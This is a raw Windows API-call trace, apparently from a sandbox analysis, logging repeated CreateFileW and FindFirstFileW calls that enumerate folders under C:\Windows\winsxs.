	[0108.586] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..atibility-assistant_31bf3856ad364e35_6.1.7600.16385_none_8fbb77bb3cd808d1" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..atibility-assistant_31bf3856ad364e35_6.1.7600.16385_none_8fbb77bb3cd808d1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.586] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..atibility-assistant_31bf3856ad364e35_6.1.7600.16385_none_8fbb77bb3cd808d1\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x232a0020, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x233385a2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x233385a2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.590] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..audiocore.resources_31bf3856ad364e35_6.1.7600.16385_en-us_80838521340e9dce" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..audiocore.resources_31bf3856ad364e35_6.1.7600.16385_en-us_80838521340e9dce"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.590] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..audiocore.resources_31bf3856ad364e35_6.1.7600.16385_en-us_80838521340e9dce\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x964cfdc, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x964cfdc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x964cfdc, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.593] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..bility-assistant-ui_31bf3856ad364e35_6.1.7600.16385_none_a4bb2020d87fab9c" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..bility-assistant-ui_31bf3856ad364e35_6.1.7600.16385_none_a4bb2020d87fab9c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.593] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..bility-assistant-ui_31bf3856ad364e35_6.1.7600.16385_none_a4bb2020d87fab9c\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa61dc5e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa61dc5e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa61dc5e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.594] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..bilitycpl.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c5c1525af827c4b9" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..bilitycpl.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c5c1525af827c4b9"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.594] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..bilitycpl.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c5c1525af827c4b9\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccb91a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xccb91a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.595] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ce-router.resources_31bf3856ad364e35_6.1.7600.16385_en-us_243862f6e4997dad" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..ce-router.resources_31bf3856ad364e35_6.1.7600.16385_en-us_243862f6e4997dad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.595] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ce-router.resources_31bf3856ad364e35_6.1.7600.16385_en-us_243862f6e4997dad\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc675f47, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc675f47, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc675f47, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.595] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ce-useractionrecord_31bf3856ad364e35_6.1.7600.16385_none_8ee34c400d95f0ab" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..ce-useractionrecord_31bf3856ad364e35_6.1.7600.16385_none_8ee34c400d95f0ab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.595] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ce-useractionrecord_31bf3856ad364e35_6.1.7600.16385_none_8ee34c400d95f0ab\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa61dc5e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa61dc5e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa61dc5e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.596] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..cing-infrastructure_31bf3856ad364e35_6.1.7600.16385_none_01a818ccd3455d72" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..cing-infrastructure_31bf3856ad364e35_6.1.7600.16385_none_01a818ccd3455d72"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.596] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..cing-infrastructure_31bf3856ad364e35_6.1.7600.16385_none_01a818ccd3455d72\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa61dc5e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa61dc5e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa61dc5e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.597] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..core-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c620663a0d83d04f" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..core-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c620663a0d83d04f"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.597] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..core-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c620663a0d83d04f\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f24d2c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8f24d2c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8f24d2c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.597] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..dcredentialprovider_31bf3856ad364e35_6.1.7601.17514_none_a030aa28d92cdba3" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..dcredentialprovider_31bf3856ad364e35_6.1.7601.17514_none_a030aa28d92cdba3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.597] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..dcredentialprovider_31bf3856ad364e35_6.1.7601.17514_none_a030aa28d92cdba3\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c8bad0c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9c8bad0c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9c8bad0c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.598] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..e-apphelp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e213250fab8c038e" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..e-apphelp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e213250fab8c038e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.598] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..e-apphelp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_e213250fab8c038e\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb65b93b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb65b93b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb65b93b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.598] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..e-results.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bd9cb6fcc60786f1" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..e-results.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bd9cb6fcc60786f1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.598] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..e-results.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bd9cb6fcc60786f1\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1252402a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1252402a, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1252402a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.599] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..e-upgrade.resources_31bf3856ad364e35_6.1.7600.16385_en-us_247bbd23000f726a" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..e-upgrade.resources_31bf3856ad364e35_6.1.7600.16385_en-us_247bbd23000f726a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.599] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..e-upgrade.resources_31bf3856ad364e35_6.1.7600.16385_en-us_247bbd23000f726a\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1252402a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1252402a, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1252402a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.599] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ecore-acm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b5a3dd361dad93cd" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..ecore-acm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b5a3dd361dad93cd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.600] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ecore-acm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b5a3dd361dad93cd\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f7129e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8f7129e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8f7129e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.602] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.602] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ence-infrastructure_31bf3856ad364e35_6.1.7601.17514_none_3337092d63596104\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89613b00, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x8dc7a3d9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8dc7a3d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.605] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ence-mitigations-c1_31bf3856ad364e35_6.1.7601.17514_none_6a483d9908ebf60e" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..ence-mitigations-c1_31bf3856ad364e35_6.1.7601.17514_none_6a483d9908ebf60e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.605] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ence-mitigations-c1_31bf3856ad364e35_6.1.7601.17514_none_6a483d9908ebf60e\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8401dd99, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8401dd99, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8401dd99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.606] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ence-mitigations-c3_31bf3856ad364e35_6.1.7600.16385_none_68192a650bfba522" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..ence-mitigations-c3_31bf3856ad364e35_6.1.7600.16385_none_68192a650bfba522"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.606] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ence-mitigations-c3_31bf3856ad364e35_6.1.7600.16385_none_68192a650bfba522\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa61dc5e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa643db8, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa643db8, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.607] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ence-mitigations-c4_31bf3856ad364e35_6.1.7600.16385_none_681a2aaf0bfabe79" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..ence-mitigations-c4_31bf3856ad364e35_6.1.7600.16385_none_681a2aaf0bfabe79"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.607] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ence-mitigations-c4_31bf3856ad364e35_6.1.7600.16385_none_681a2aaf0bfabe79\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa643db8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa643db8, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa643db8, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.607] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ence-mitigations-c5_31bf3856ad364e35_6.1.7601.17514_none_6a4c3ec108e85b6a" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..ence-mitigations-c5_31bf3856ad364e35_6.1.7601.17514_none_6a4c3ec108e85b6a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.607] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ence-mitigations-c5_31bf3856ad364e35_6.1.7601.17514_none_6a4c3ec108e85b6a\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a1442ee, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x8401dd99, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8401dd99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.608] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ercomtool.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a7899109b40612e3" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..ercomtool.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a7899109b40612e3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.608] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..ercomtool.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a7899109b40612e3\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb681bf4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb681bf4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb681bf4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.608] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7600.16385_none_b3eaf84f983a33ee" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7600.16385_none_b3eaf84f983a33ee"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.609] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7600.16385_none_b3eaf84f983a33ee\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa643db8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa643db8, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa643db8, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.609] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..face-winnt-provider_31bf3856ad364e35_6.1.7600.16385_none_96978ae7806d8215" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..face-winnt-provider_31bf3856ad364e35_6.1.7600.16385_none_96978ae7806d8215"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.609] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..face-winnt-provider_31bf3856ad364e35_6.1.7600.16385_none_96978ae7806d8215\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa643db8, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa643db8, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa643db8, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.610] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..figurator.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1cc2fe3a7edb26e8" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..figurator.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1cc2fe3a7edb26e8"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.610] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..figurator.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1cc2fe3a7edb26e8\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6675e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa6675e8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa6675e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.611] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-a..gram-data.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0946aad49c7f065d" (normalized: "c:\\windows\\winsxs\\amd64_microsoft-windows-a..gram-data.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0946aad49c7f065d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
